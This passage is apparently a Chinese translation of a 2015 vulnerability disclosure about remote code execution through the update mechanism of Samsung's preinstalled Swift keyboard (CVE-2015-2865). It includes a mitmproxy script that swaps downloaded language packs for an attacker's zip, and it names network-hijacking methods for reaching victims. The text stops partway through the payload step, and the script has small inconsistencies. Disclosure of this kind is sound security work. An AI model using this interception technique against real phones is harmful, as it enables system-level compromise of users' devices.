作者:
路人甲
·
2015/06/17 15:55
Remote Code Execution as System User on Samsung Phones
Summary
在能夠劫持你的網路前提下,攻擊者能夠利用三星自帶輸入法更新機制進行遠端程式碼執行並且具有 system 許可權.
Swift輸入法預裝在三星手機中並且不能解除安裝和禁用.即使修改了預設輸入法,這個漏洞也是可以利用的.
CVE-2015-2865
可能造成的危害:
- 獲取感測器以及資源,例如GPS/照相機/麥克風
- 靜默安裝惡意軟體
- 篡改app 或者手機行為
- 竊聽通話或者簡訊
- 竊取個人敏感資料比如照片/簡訊.
How it Works
手機廠商(OEMs)和運營商(carriers)經常在裝置中預裝第三方應用,而且這些應用常常擁有較高的許可權.就比如這次三星預裝的Swift輸入法
➜ /tmp aapt d badging SamsungIME.apk | head -3
package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0'
sdkVersion:'18'
targetSdkVersion:'19'
➜ /tmp shasum SamsungIME.apk
72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk
➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared
A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
上面的資訊表明此輸入法用的是三星系統證書籤名的,並且擁有 system 許可權只比 root 許可權差一點.
Accessibility
此漏洞的攻擊向量需要攻擊者能夠篡改上行網路流量,當輸入法開始升級後漏洞將在裝置重啟後隨機自動觸發(無需互動).可以在近距離的情況下利用大菠蘿/偽基站,以及同區域網的情況下利用 arp 攻擊.完全遠端的話可以利用DNS劫持或者劫持路由器/運營商...(都這麼屌了...)
整個測試過程是在一個有 USB 網路卡的 linux 虛擬機器下進行的,所有的 http流量被透明代理到mitmproxy上,之後透過指令碼生成注入攻擊載荷.
Discovery of the Vulnerability
Swift輸入法有一個升級功能可以新增一個新的語言包到現在有的語言中.當使用者下載新的語言包的時候.會進行如下請求:
GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip
← 200 application/zip 995.63kB 601ms
壓縮包下載後會被解壓到以下目錄:
/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.
壓縮包內容:
[email protected]:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l
-rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1
-rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3
-rw------- system system 413 2015-06-11 15:16 charactermap.json
-rw------- system system 36 2015-06-11 15:16 extraData.json
-rw------- system system 55 2015-06-11 15:16 punctuation.json
可以看出壓縮包中的檔案是由 system user 寫入的.許可權很高哦,可以寫入很多位置哦.因為壓縮包和請求都是明文的,我們們可以嘗試去篡改它.
可以透過 wifi 代理完成這個嘗試,寫了一個指令碼來提高效率,指令碼作用是當有語言包的請求時進行修改
def request(context, flow):
if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"):
return
resp = HTTPResponse(
[1, 1], 200, "OK",
ODictCaseless([["Content-Type", "application/zip"]]),
"helloworld")
with open('test_language.zip', 'r') as f:
payload = f.read()
resp.content = payload
resp.headers["Content-Length"] = [len(payload)]
flow.reply(resp)
Payload非常簡單,就一個檔案
➜ /tmp unzip -l test_keyboard.zip
Archive: test_keyboard.zip
Length Date Time Name
-------- ---- ---- ----
6 06-11-15 15:33 test
-------- -------
6 1 file
修改之後檢視/data/data/com.sec.android.inputmethod/app_SwiftKey/